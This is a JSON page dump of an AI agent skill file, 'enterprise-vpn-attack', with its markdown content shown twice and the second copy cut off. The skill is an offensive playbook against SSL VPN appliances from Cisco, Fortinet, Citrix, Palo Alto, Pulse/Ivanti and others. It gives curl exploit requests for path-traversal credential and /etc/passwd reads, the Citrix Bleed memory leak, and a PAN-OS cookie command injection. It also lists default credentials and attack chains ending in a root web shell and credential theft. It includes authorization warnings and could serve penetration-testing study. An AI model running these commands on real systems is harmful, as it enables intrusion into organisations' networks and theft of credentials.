[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P2CKADVPDRFFA1ZP5AC6TA":3,"skill-same:01M6P2CKADVPDRFFA1ZP5AC6TA":74},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":35,"commitSha":55,"skillDirectory":56,"forksCount":13,"repositoryHtmlUrl":57,"repositoryHomepageUrl":6,"ownerHtmlUrl":58,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":59,"install":60,"resources":73},"01M6P2CKADVPDRFFA1ZP5AC6TA","enterprise-vpn-attack",null,"External SSL VPN \u002F remote-access appliance attack matrix","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Fenterprise-vpn-attack\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"Enterprise","enterprise vpn attack","vpn","commands","for","matrix","remote","relevant","offensive","scripts","scope","testing","main","community","only","access","cisa-kev","Tools","CISA","security","2026-11-10 10:12:30",false,"---\nname: enterprise-vpn-attack\ndescription: External SSL VPN \u002F remote-access appliance attack matrix\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: authorized-engagement, public-advisories, cisa-kev\nreport_count: 1\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## When to use this skill\n\nTrigger when recon surfaces:\n- `*.\u003Cclient>.example\u002F+CSCOE+\u002Flogon.html` or similar `+CSCOE+` paths → Cisco ASA \u002F AnyConnect\n- `intranet.*` \u002F `vpn.*` \u002F `connect.*` \u002F `webvpn.*` \u002F `wc.*` \u002F `remote.*` subdomains\n- Port 443 returning login pages with `Server: Apache` or banner like \"AnyConnect\", \"FortiGate\", \"NetScaler\", \"GlobalProtect\", \"Pulse\", \"Ivanti\"\n- TCP 8443 \u002F 4443 \u002F 10443 \u002F 8888 (common VPN web-mgmt ports)\n- HTTP responses with `Set-Cookie: webvpn=` (Cisco) \u002F `SVPNCOOKIE=` (Fortinet) \u002F `NSC_AAA=` (Citrix) \u002F `DSAuthSession=` (Pulse) \u002F `BIGipServer*` (F5)\n\nDO NOT use for:\n- Internal lateral-movement post-foothold (out of scope per user's boundary)\n- VPN client-side bugs (different attack class)\n- IPsec \u002F L2TP \u002F OpenVPN (different protocols, not SSL VPN web stack)\n\n---\n\n## Vendor identification (fingerprinting)\n\n### Cisco ASA \u002F AnyConnect\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002F+CSCOE+\u002Flogon.html' | head -10\n# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content\n# Login page contains: \"AnyConnect\", \"CSCOE\", \"logon.html\"\n```\nASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.\n\n```bash\n# Path-based version hints (older builds leaked builds in URLs)\ncurl -sk 'https:\u002F\u002Ftarget\u002F+CSCOE+\u002Fsdesktop\u002Fscan-finalize?path=test'\ncurl -sk 'https:\u002F\u002Ftarget\u002F+CSCOE+\u002Fsaml\u002Fsp\u002Fmetadata'         # 200 = SAML auth enabled\ncurl -sk 'https:\u002F\u002Ftarget\u002FCSCOSSLC\u002Fconfig-auth'             # AnyConnect handshake endpoint\n```\n\n### Fortinet FortiGate \u002F FortiOS\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002Fremote\u002Flogin' | head -10\n# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or \"xxxxxxxx-xxxxx\"\n# Login page contains: \"FortiGate\", \"Fortinet\", \"SSL-VPN\"\n```\nVersion: `\u002Fremote\u002Finfo` sometimes leaks (older), or `\u002Flogin?username=` 302 response\n\n### Citrix NetScaler \u002F ADC \u002F Gateway\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002F' | head -10\n# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler\n# Login page contains: \"NetScaler\", \"Citrix Gateway\"\n\n# Version banner\ncurl -sk 'https:\u002F\u002Ftarget\u002Fvpn\u002Findex.html' | grep -oE 'NetScaler\u002F[0-9.]+|NS[0-9.]+'\ncurl -sk 'https:\u002F\u002Ftarget\u002Fmenu\u002Fneo'                # 200 if vulnerable to CVE-2019-19781 era\n```\n\n### Palo Alto GlobalProtect\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002Fglobal-protect\u002Flogin.esp' | head -10\n# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)\n# Page contains: \"GlobalProtect Portal\", \"PAN-OS\"\n\n# Version banner via login page\ncurl -sk 'https:\u002F\u002Ftarget\u002Fglobal-protect\u002Flogin.esp' | grep -oE 'GlobalProtect Portal[\\s\\S]{0,200}'\n# Or check meta tag\ncurl -sk 'https:\u002F\u002Ftarget\u002Fglobal-protect\u002Flogin.esp' | grep -oE 'panui-[0-9.]+'\n```\n\n### Pulse Secure \u002F Ivanti Connect Secure\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002Fdana-na\u002Fauth\u002Furl_default\u002Fwelcome.cgi' | head -10\n# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=\n# Page contains: \"Pulse Secure\" or \"Ivanti Connect Secure\"\n\n# Version\ncurl -sk 'https:\u002F\u002Ftarget\u002Fdana-na\u002Fauth\u002Furl_default\u002Fwelcome.cgi' | grep -oE 'Pulse Connect Secure[^\u003C]*|ivanti[^\u003C]*[0-9.]+'\n```\n\n### SonicWall NetExtender \u002F SMA\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002Fcgi-bin\u002Fwelcome' | head -10\n# Look for: Set-Cookie: swap=, swapauth=\n# Page contains: \"SonicWall\", \"NetExtender\", \"SMA\"\n```\n\n### F5 Big-IP \u002F APM\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002Fmy.policy' | head -10\n# Look for: Set-Cookie: BIGipServer*, MRHSession=\n# Server: BIG-IP (sometimes)\n```\n\n---\n\n## CVE matrix — pre-auth or auth-bypass (2018-2026)\n\n### Cisco ASA \u002F AnyConnect\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET \u002F+CSCOT+\u002Ftranslation-table?type=mst&textdomain=\u002F%2bCSCOE%2b\u002Fportal_inc.lua` |\n| **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET \u002F+CSCOE+\u002Ffiles\u002Ffile_name.html?Filename=Microsoft.Manifest+\u002F+CSCOT+\u002Flua\u002Ftest.lua` and variations |\n| **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `\u002F+webvpn+\u002Findex.html` |\n| **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disruptive** |\n\n```bash\n# Cisco CVE-2020-3452 — file read\ncurl -sk 'https:\u002F\u002Ftarget\u002F+CSCOE+\u002Ffiles\u002Ffile_name.html?Filename=Microsoft.Manifest+\u002F+CSCOT+\u002Flua\u002Ftest.lua' | head -5\n\n# Cisco CVE-2018-0296 — path traversal\ncurl -sk 'https:\u002F\u002Ftarget\u002F+CSCOT+\u002Ftranslation-table?type=mst&textdomain=\u002F%2bCSCOE%2b\u002Fportal_inc.lua' | head -20\n\n# Files commonly retrievable on vulnerable ASA:\n# \u002F+CSCOE+\u002Fportal_inc.lua    (portal inclusions — may reveal local users)\n# \u002F+CSCOE+\u002Fsession_password.html\n# \u002F+CSCOE+\u002Ffiles\u002Ffiles.html\n```\n\n### Fortinet FortiGate \u002F FortiOS\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2018-13379** | FortiOS 5.4-6.0 | Path traversal — sslvpn_websession file read | `GET \u002Fremote\u002Ffgt_lang?lang=\u002F..\u002F..\u002F..\u002F..\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002Fdev\u002Fcmdb\u002Fsslvpn_websession` |\n| **CVE-2022-42475** | FortiOS 7.x specific | Heap overflow — pre-auth RCE | Complex exploit; test with `nuclei` template `CVE-2022-42475` |\n| **CVE-2023-27997** (XORtigate) | FortiOS various | Heap overflow — pre-auth RCE | Public PoCs exist; nuclei template available |\n| **CVE-2024-21762** | FortiOS 6.x-7.x | OOB write — pre-auth RCE | Public PoC; nuclei template `CVE-2024-21762` |\n| **CVE-2024-55591** | FortiOS 7.0-7.4 | Auth bypass on FortiOS Node.js websocket admin interface | `GET \u002Fendpoint` on admin-interface port |\n\n```bash\n# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read\ncurl -sk --path-as-is 'https:\u002F\u002Ftarget\u002Fremote\u002Ffgt_lang?lang=\u002F..\u002F..\u002F..\u002F..\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002Fdev\u002Fcmdb\u002Fsslvpn_websession'\n# Response contains plaintext usernames + sessions if vulnerable\n\n# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):\n# IP:PORT     username     password     (and others)\n```\n\n### Citrix NetScaler \u002F ADC \u002F Gateway\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2019-19781** (Shitrix) | ADC\u002FGateway 10.5-13.0 specific | Path traversal → RCE via XML upload | `GET \u002Fvpn\u002F..\u002Fvpns\u002Fcfg\u002Fsmb.conf` |\n| **CVE-2022-27518** | ADC\u002FGateway with SAML configured | Pre-auth RCE | Complex; test with nuclei |\n| **CVE-2023-3519** | NetScaler ADC\u002FGateway 13.0-13.1 specific | Pre-auth RCE via crafted HTTP | Public PoCs exist |\n| **CVE-2023-4966** (Citrix Bleed) | NetScaler ADC\u002FGateway 13.0-14.1 | Memory disclosure → session token theft | `POST \u002Foauth\u002Fidp\u002F.well-known\u002Fopenid-configuration` with crafted Host header — long Host header triggers memory leak in response |\n\n```bash\n# Citrix Bleed (CVE-2023-4966) detection\nHOST=$(python3 -c \"print('A' * 24812)\")\ncurl -sk -X POST -H \"Host: $HOST\" \"https:\u002F\u002Ftarget\u002Foauth\u002Fidp\u002F.well-known\u002Fopenid-configuration\" -o response.txt\n# If response is large (>10KB) and contains random memory contents — vulnerable\n# Session tokens often present in the memory dump\n\n# CVE-2019-19781 file read\ncurl -sk --path-as-is 'https:\u002F\u002Ftarget\u002Fvpn\u002F..\u002Fvpns\u002Fcfg\u002Fsmb.conf'\n```\n\n### Palo Alto GlobalProtect\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2024-3400** | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | `POST \u002Fssl-vpn\u002Flogin.esp` with crafted Cookie header containing `SESSID=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fpan\u002Ftest.txt` |\n\n```bash\n# CVE-2024-3400 detection\ncurl -sk -X POST 'https:\u002F\u002Ftarget\u002Fssl-vpn\u002Flogin.esp' \\\n  -H 'Cookie: SESSID=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fpan\u002Ftest_$(id)_test.txt' \\\n  --data 'jsessionid=test'\n# Look for file-creation side-effect on test path — palo creates file with command output\n```\n\n### Pulse Secure \u002F Ivanti Connect Secure \u002F Policy Secure\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET \u002Fdana-na\u002F..\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd?\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F` |\n| **CVE-2021-22893** | Pulse Connect Secure 9.x | Pre-auth RCE | Complex multi-step; test with nuclei |\n| **CVE-2024-21887** | Ivanti Connect Secure 9.1-22.6 | Command injection on web component | `POST \u002Fapi\u002Fv1\u002Ftotp\u002Fuser-backup-code\u002F` with crafted body |\n| **CVE-2023-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |\n\n```bash\n# CVE-2019-11510 — Pulse file read\ncurl -sk --path-as-is 'https:\u002F\u002Ftarget\u002Fdana-na\u002F..\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd?\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F'\n```\n\n### SonicWall\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2021-20016** | SMA 100 series specific firmware | SQL injection — pre-auth | nuclei template available |\n| **CVE-2024-40766** | SonicOS specific | Access-control flaw | Specific firmware versions |\n\n---\n\n## SAML SP \u002F IdP misconfigurations (always check)\n\nMost enterprise VPNs now use SAML for SSO. Check SP metadata:\n\n```bash\n# Cisco ASA\ncurl -sk 'https:\u002F\u002Ftarget\u002F+CSCOE+\u002Fsaml\u002Fsp\u002Fmetadata' | head -50\n\n# Fortinet\ncurl -sk 'https:\u002F\u002Ftarget\u002Fremote\u002Fsaml\u002Fmetadata' | head -50\n\n# Citrix\ncurl -sk 'https:\u002F\u002Ftarget\u002Fsaml\u002Flogin' | head -30\n```\n\nLook for:\n- `AuthnRequestsSigned=\"false\"` → see `hunt-saml` for XSW exploitation\n- `WantAssertionsSigned=\"false\"` → severe; assertion-replay possible\n- Audience-restriction validation gaps\n- Public SP signing cert (for replay\u002Fforging attacks)\n\n---\n\n## Default credentials (test sparingly — lockout risk)\n\n| Vendor | User | Password | Notes |\n|---|---|---|---|\n| Cisco ASA | admin | cisco | Default factory; rarely seen in prod |\n| Cisco ASA | enable_15 | cisco | Console |\n| Fortinet | admin | (empty) | Factory default |\n| Citrix NetScaler | nsroot | nsroot | Factory default |\n| Citrix NetScaler | nsroot | (serial number) | Newer firmware |\n| Palo Alto | admin | admin | Factory default |\n| Pulse Secure | admin | password | Factory; CIS-hardened changes this |\n| F5 Big-IP | root | default | Factory |\n| F5 Big-IP | admin | admin | Common alternate |\n| SonicWall | admin | password | Factory |\n\n⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.\n\n---\n\n## Group \u002F tunnel-group enumeration (Cisco-specific)\n\nCisco ASA AAA groups can sometimes be enumerated without auth.\n\n```bash\n# Tunnel group enumeration via timing\nfor group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do\n  ms=$(curl -sk --max-time 10 -o \u002Fdev\u002Fnull -w \"%{time_total}\" \\\n    -X POST \"https:\u002F\u002Ftarget\u002F+webvpn+\u002Findex.html\" \\\n    -d \"username=test&password=test&group_list=$group&tgroup=&Login=Login\")\n  echo \"$group: ${ms}s\"\ndone\n# Larger differential timing = group exists; valid groups respond slower in some builds\n```\n\n---\n\n## AAA backend identification\n\nAfter auth fails, look at error response details:\n\n| Pattern in response | AAA backend |\n|---|---|\n| `a0=2` (Cisco) | Unknown user |\n| `a0=3` (Cisco) | Wrong password |\n| `a0=4` (Cisco) | Login restricted |\n| `a0=12` (Cisco) | Account locked |\n| `a0=115` (Cisco) | Generic auth fail (LDAP\u002FRADIUS\u002FAD layer error) |\n| AADSTS in response body | Backed by Entra (SAML) |\n| `Authentication failed via RADIUS` | RADIUS backend |\n| `Invalid username or password` (generic) | LDAP or local DB |\n\nIf you see SAML\u002FEntra in the flow, pivot to `m365-entra-attack` skill for cred-spray strategy.\n\n---\n\n## Common probe sequence (5-minute fingerprint)\n\n```bash\nTARGET=\"vpn.target.com\"\n\n# Cisco\ncurl -skI \"https:\u002F\u002F$TARGET\u002F+CSCOE+\u002Flogon.html\" 2>&1 | head -3\ncurl -sk \"https:\u002F\u002F$TARGET\u002F+CSCOE+\u002Fsaml\u002Fsp\u002Fmetadata\" -o \u002Ftmp\u002Fcisco_saml.xml; ls -la \u002Ftmp\u002Fcisco_saml.xml\ncurl -sk --path-as-is \"https:\u002F\u002F$TARGET\u002F+CSCOE+\u002Ffiles\u002Ffile_name.html?Filename=Microsoft.Manifest\" -o \u002Ftmp\u002Fcisco_cve.html\n\n# Fortinet\ncurl -skI \"https:\u002F\u002F$TARGET\u002Fremote\u002Flogin\" 2>&1 | head -3\ncurl -sk --path-as-is \"https:\u002F\u002F$TARGET\u002Fremote\u002Ffgt_lang?lang=\u002F..\u002F..\u002F..\u002F..\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002F\u002Fdev\u002Fcmdb\u002Fsslvpn_websession\" -o \u002Ftmp\u002Fforti_cve.txt; head -c 200 \u002Ftmp\u002Fforti_cve.txt\n\n# Citrix\ncurl -skI \"https:\u002F\u002F$TARGET\u002F\" 2>&1 | head -3\ncurl -sk --path-as-is \"https:\u002F\u002F$TARGET\u002Fvpn\u002F..\u002Fvpns\u002Fcfg\u002Fsmb.conf\" -o \u002Ftmp\u002Fcitrix_cve.txt; head -c 200 \u002Ftmp\u002Fcitrix_cve.txt\nHOST=$(python3 -c \"print('A' * 24812)\")\ncurl -sk -X POST -H \"Host: $HOST\" \"https:\u002F\u002F$TARGET\u002Foauth\u002Fidp\u002F.well-known\u002Fopenid-configuration\" -o \u002Ftmp\u002Fcitrix_bleed.txt\nwc -c \u002Ftmp\u002Fcitrix_bleed.txt\n\n# Palo Alto\ncurl -skI \"https:\u002F\u002F$TARGET\u002Fglobal-protect\u002Flogin.esp\" 2>&1 | head -3\n\n# Pulse \u002F Ivanti\ncurl -skI \"https:\u002F\u002F$TARGET\u002Fdana-na\u002Fauth\u002Furl_default\u002Fwelcome.cgi\" 2>&1 | head -3\ncurl -sk --path-as-is \"https:\u002F\u002F$TARGET\u002Fdana-na\u002F..\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd?\u002Fdana\u002Fhtml5acc\u002Fguacamole\u002F\" -o \u002Ftmp\u002Fpulse_cve.txt; head -c 200 \u002Ftmp\u002Fpulse_cve.txt\n```\n\n---\n\n## Nuclei templates for fast triage\n\nNuclei has high-quality templates for most of the above CVEs. Single command sweeps:\n\n```bash\nnuclei -u https:\u002F\u002Ftarget\u002F \\\n  -tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \\\n  -severity high,critical -rl 5\n```\n\nAdd `-as` (auto-scan) for broader vuln coverage but slower.\n\n---\n\n## Operational discipline\n\n- **Banner-stripped servers (no version disclosure)** are good defense-in-depth — record as positive finding even if no CVE found\n- **Rate-limit yourself** — these appliances often log every request to a SIEM. Patient pace, jittered timing.\n- **SAML metadata is anonymous** — pull it. It's intel about AAA backend.\n- **Don't run pre-auth-RCE PoCs in red team without explicit OK** — accidentally bricking a VPN concentrator = catastrophic for the client. Detection-only tests first, then escalate with permission.\n- **Document the AAA backend identification** — knowing whether ASA uses RADIUS-to-local vs SAML-to-Entra changes downstream attack paths.\n\n---\n\n## Bridge to neighboring skills\n\n- `m365-entra-attack` — when AAA backend is Entra SAML; cred-spray strategy carries over\n- `hunt-saml` — XSW \u002F signature-stripping if SAML SP is misconfigured\n- `mid-engagement-ir-detection` — appliances generate noisy logs; watch for IPS rules being deployed mid-engagement\n- `redteam-mindset` — banner-stripped ≠ \"not vulnerable\"; keep digging via behavioral fingerprints\n\n---\n\n## Anti-patterns\n\n- **Don't conclude \"patched\" from a 404 on one CVE path** — patches deploy unevenly; test 3+ CVEs per vendor\n- **Don't trust the version banner alone** — appliance vendors often backport fixes without bumping the version string\n- **Don't run heavy nuclei scans without rate-limiting** — these appliances are critical infrastructure\n- **Don't fingerprint by trying all CVE PoCs immediately** — start with non-disruptive HEAD + version-banner probes\n- **Don't skip SAML metadata** — even when the appliance is patched, SAML SP misconfig is its own attack surface\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-rce`** — Every major VPN appliance (Pulse Secure, Fortinet, Citrix, Ivanti, Palo Alto) has shipped pre-auth path-traversal-to-RCE in the last 24 months. Chain primitive: VPN appliance CVE (e.g., Ivanti ICS CVE-2024-21887, Citrix Bleed CVE-2023-4966, Fortinet CVE-2024-21762) → `hunt-rce` pre-auth path traversal → arbitrary file write into web-root → request the file → web-shell as `root` → VPN config + LDAP bind credentials extracted.\n- **`hunt-saml`** — VPN SAML SP misconfig persists even on fully-patched appliances. Chain primitive: appliance patched against latest CVE but `\u002Fsaml\u002Fmetadata` reachable → IdP fingerprinted → `hunt-saml` XSW or comment-injection against IdP → forged assertion → VPN session established without password\u002FMFA.\n- **`vmware-vcenter-attack`** — Post-VPN-foothold the natural next pivot is vCenter. Chain primitive: VPN web-shell → cred extraction from VPN appliance config (LDAP bind, RADIUS shared secret) → reuse against internal vCenter → if scope permits, `vmware-vcenter-attack` → datacenter takeover.\n- **`hunt-ntlm-info`** — Some VPN appliances expose anonymous NTLM on management paths. Chain primitive: VPN admin portal NTLM Type-2 capture → `hunt-ntlm-info` AV_PAIR decode → internal AD forest name → `m365-entra-attack` Entra spray on synced tenant.\n- **`mid-engagement-ir-detection`** + **`redteam-report-template`** — VPN appliance CVE exploitation is high-noise; SOC patches fast. Chain primitive: confirmed CVE → baseline capture via `mid-engagement-ir-detection` → if appliance updates mid-test, capture the patched-state as a SECOND finding → run both findings through `triage-validation` → package via `redteam-report-template` with explicit critical-infrastructure framing.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n## When to use this skill\n\nTrigger when recon surfaces:\n- `*.\u003Cclient>.example\u002F+CSCOE+\u002Flogon.html` or similar `+CSCOE+` paths → Cisco ASA \u002F AnyConnect\n- `intranet.*` \u002F `vpn.*` \u002F `connect.*` \u002F `webvpn.*` \u002F `wc.*` \u002F `remote.*` subdomains\n- Port 443 returning login pages with `Server: Apache` or banner like \"AnyConnect\", \"FortiGate\", \"NetScaler\", \"GlobalProtect\", \"Pulse\", \"Ivanti\"\n- TCP 8443 \u002F 4443 \u002F 10443 \u002F 8888 (common VPN web-mgmt ports)\n- HTTP responses with `Set-Cookie: webvpn=` (Cisco) \u002F `SVPNCOOKIE=` (Fortinet) \u002F `NSC_AAA=` (Citrix) \u002F `DSAuthSession=` (Pulse) \u002F `BIGipServer*` (F5)\n\nDO NOT use for:\n- Internal lateral-movement post-foothold (out of scope per user's boundary)\n- VPN client-side bugs (different attack class)\n- IPsec \u002F L2TP \u002F OpenVPN (different protocols, not SSL VPN web stack)\n\n---\n\n## Vendor identification (fingerprinting)\n\n### Cisco ASA \u002F AnyConnect\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002F+CSCOE+\u002Flogon.html' | head -10\n# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content\n# Login page contains: \"AnyConnect\", \"CSCOE\", \"logon.html\"\n```\nASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.\n\n```bash\n# Path-based version hints (older builds leaked builds in URLs)\ncurl -sk 'https:\u002F\u002Ftarget\u002F+CSCOE+\u002Fsdesktop\u002Fscan-finalize?path=test'\ncurl -sk 'https:\u002F\u002Ftarget\u002F+CSCOE+\u002Fsaml\u002Fsp\u002Fmetadata'         # 200 = SAML auth enabled\ncurl -sk 'https:\u002F\u002Ftarget\u002FCSCOSSLC\u002Fconfig-auth'             # AnyConnect handshake endpoint\n```\n\n### Fortinet FortiGate \u002F FortiOS\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002Fremote\u002Flogin' | head -10\n# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or \"xxxxxxxx-xxxxx\"\n# Login page contains: \"FortiGate\", \"Fortinet\", \"SSL-VPN\"\n```\nVersion: `\u002Fremote\u002Finfo` sometimes leaks (older), or `\u002Flogin?username=` 302 response\n\n### Citrix NetScaler \u002F ADC \u002F Gateway\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002F' | head -10\n# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler\n# Login page contains: \"NetScaler\", \"Citrix Gateway\"\n\n# Version banner\ncurl -sk 'https:\u002F\u002Ftarget\u002Fvpn\u002Findex.html' | grep -oE 'NetScaler\u002F[0-9.]+|NS[0-9.]+'\ncurl -sk 'https:\u002F\u002Ftarget\u002Fmenu\u002Fneo'                # 200 if vulnerable to CVE-2019-19781 era\n```\n\n### Palo Alto GlobalProtect\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002Fglobal-protect\u002Flogin.esp' | head -10\n# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)\n# Page contains: \"GlobalProtect Portal\", \"PAN-OS\"\n\n# Version banner via login page\ncurl -sk 'https:\u002F\u002Ftarget\u002Fglobal-protect\u002Flogin.esp' | grep -oE 'GlobalProtect Portal[\\s\\S]{0,200}'\n# Or check meta tag\ncurl -sk 'https:\u002F\u002Ftarget\u002Fglobal-protect\u002Flogin.esp' | grep -oE 'panui-[0-9.]+'\n```\n\n### Pulse Secure \u002F Ivanti Connect Secure\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002Fdana-na\u002Fauth\u002Furl_default\u002Fwelcome.cgi' | head -10\n# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=\n# Page contains: \"Pulse Secure\" or \"Ivanti Connect Secure\"\n\n# Version\ncurl -sk 'https:\u002F\u002Ftarget\u002Fdana-na\u002Fauth\u002Furl_default\u002Fwelcome.cgi' | grep -oE 'Pulse Connect Secure[^\u003C]*|ivanti[^\u003C]*[0-9.]+'\n```\n\n### SonicWall NetExtender \u002F SMA\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002Fcgi-bin\u002Fwelcome' | head -10\n# Look for: Set-Cookie: swap=, swapauth=\n# Page contains: \"SonicWall\", \"NetExtender\", \"SMA\"\n```\n\n### F5 Big-IP \u002F APM\n```bash\ncurl -skI 'https:\u002F\u002Ftarget\u002Fmy.policy' | head -10\n# Look for: Set-Cookie: BIGipServer*, MRHSession=\n# Server: BIG-IP (sometimes)\n```\n\n---\n\n## CVE matrix — pre-auth or auth-bypass (2018-2026)\n\n### Cisco ASA \u002F AnyConnect\n\n| CVE | Affects | Type | Test |\n|---|---|---|---|\n| **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET \u002F+CSCOT+\u002Ftranslation-table?type=mst&textdomain=\u002F%2bCSCOE%2b\u002Fportal_inc.lua` |\n| **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET \u002F+CSCOE+\u002Ffiles\u002Ffile_name.html?Filename=Microsoft.Manifest+\u002F+CSCOT+\u002Flua\u002Ftest.lua` and variations |\n| **CVE-2023-20269** | ASA, FTD specific | 